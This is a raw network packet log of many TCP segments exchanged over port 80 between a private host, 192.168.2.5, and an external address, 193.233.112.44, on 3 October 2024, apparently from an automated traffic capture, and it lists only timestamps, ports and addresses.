Oct 3, 2024 23:17:11.305362940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305418968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305438995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305454016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305463076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305470943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305489063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305514097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305538893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305579901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305614948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305629969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305644035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305653095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305666924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305682898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305809021 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305823088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305836916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305849075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305852890 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305862904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305867910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305876017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305892944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305911064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.305915117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.305949926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.318907976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.318938971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.318955898 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.318984985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319001913 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319063902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319082022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319097996 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319113016 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319114923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319118023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319129944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319150925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319363117 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319380045 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319397926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319410086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319421053 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319427967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319446087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319447994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319468975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319479942 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319657087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319674969 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.319698095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.319710970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361124992 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361146927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361162901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361179113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361202002 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361216068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361221075 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361238003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361252069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361253023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361264944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361291885 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361386061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361402035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361418009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361424923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361443043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361460924 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361526966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361542940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361567020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361579895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361721039 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361737967 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361753941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361759901 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361768007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361768961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361785889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361788034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361803055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361807108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361813068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361820936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.361835003 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.361862898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.362075090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.362128019 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.362133980 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.362150908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.362166882 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.362174034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.362180948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.362189054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.362201929 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.362214088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.377650976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.377674103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.377691031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.377727032 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.377742052 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.377937078 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.377962112 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.377978086 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.377990007 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.377994061 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378010988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378019094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378027916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378038883 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378058910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378072023 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378077030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378101110 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378117085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378123045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378134012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378148079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378149033 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378151894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378169060 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378169060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378185987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378191948 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378199100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378202915 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378225088 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378237963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378700018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378725052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378741026 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378751040 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378760099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378763914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378781080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378783941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378801107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378818989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.378979921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.378997087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379012108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379025936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379029036 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379034042 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379046917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379055023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379062891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379066944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379081011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379086018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379097939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379098892 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379115105 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379116058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379132032 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379132986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379146099 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379151106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379165888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379169941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379179001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379183054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379203081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379220963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379754066 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379771948 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379786968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379801989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379801989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379812002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379818916 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379832029 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379836082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379846096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379853964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.379858017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379875898 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.379888058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.380815983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.380831003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.380845070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.380861998 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.380873919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.380882025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.380968094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.380985022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381000042 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381014109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381015062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381023884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381042004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381056070 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381215096 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381231070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381247044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381261110 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381263018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381268978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381289959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381300926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381506920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381522894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381539106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381551981 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381552935 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381560087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381571054 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381580114 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381587029 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381598949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381603003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381611109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381629944 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381644011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381885052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381900072 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381915092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381928921 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381930113 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381937027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381944895 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.381956100 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381968975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.381987095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.395850897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.395903111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.395904064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.395917892 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.395941973 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.395956039 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.395991087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396022081 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396032095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396058083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396111965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396127939 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396152020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396162987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396259069 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396275043 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396290064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396300077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396307945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396312952 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396323919 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396326065 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396338940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396359921 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396550894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396568060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396584034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396593094 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396596909 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.396600962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396620989 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.396631002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.409858942 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.409892082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.409907103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.409914970 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.409924984 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.409928083 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.409944057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.409950018 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.409959078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.409962893 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.409976959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.409980059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.409997940 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.410007000 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.410039902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.410057068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.410072088 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.410084963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.410089970 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.410094023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.410101891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.410125971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.410131931 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.410168886 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.410501003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.410526991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.410551071 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.410561085 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.451972961 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452012062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452033997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452049971 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452069044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452106953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452111959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452142954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452147961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452178955 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452183962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452222109 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452234030 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452270031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452277899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452302933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452306986 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452341080 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452343941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452378035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452383041 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452423096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452518940 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452553988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452558994 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452589035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452594995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452627897 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452630043 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452665091 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452806950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452840090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452851057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452876091 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452883959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452910900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452920914 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452946901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452950954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.452985048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.452990055 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.453025103 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:11.468323946 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:11.468374014 CEST	49710	80	192.168.2.5	193.233.112.44
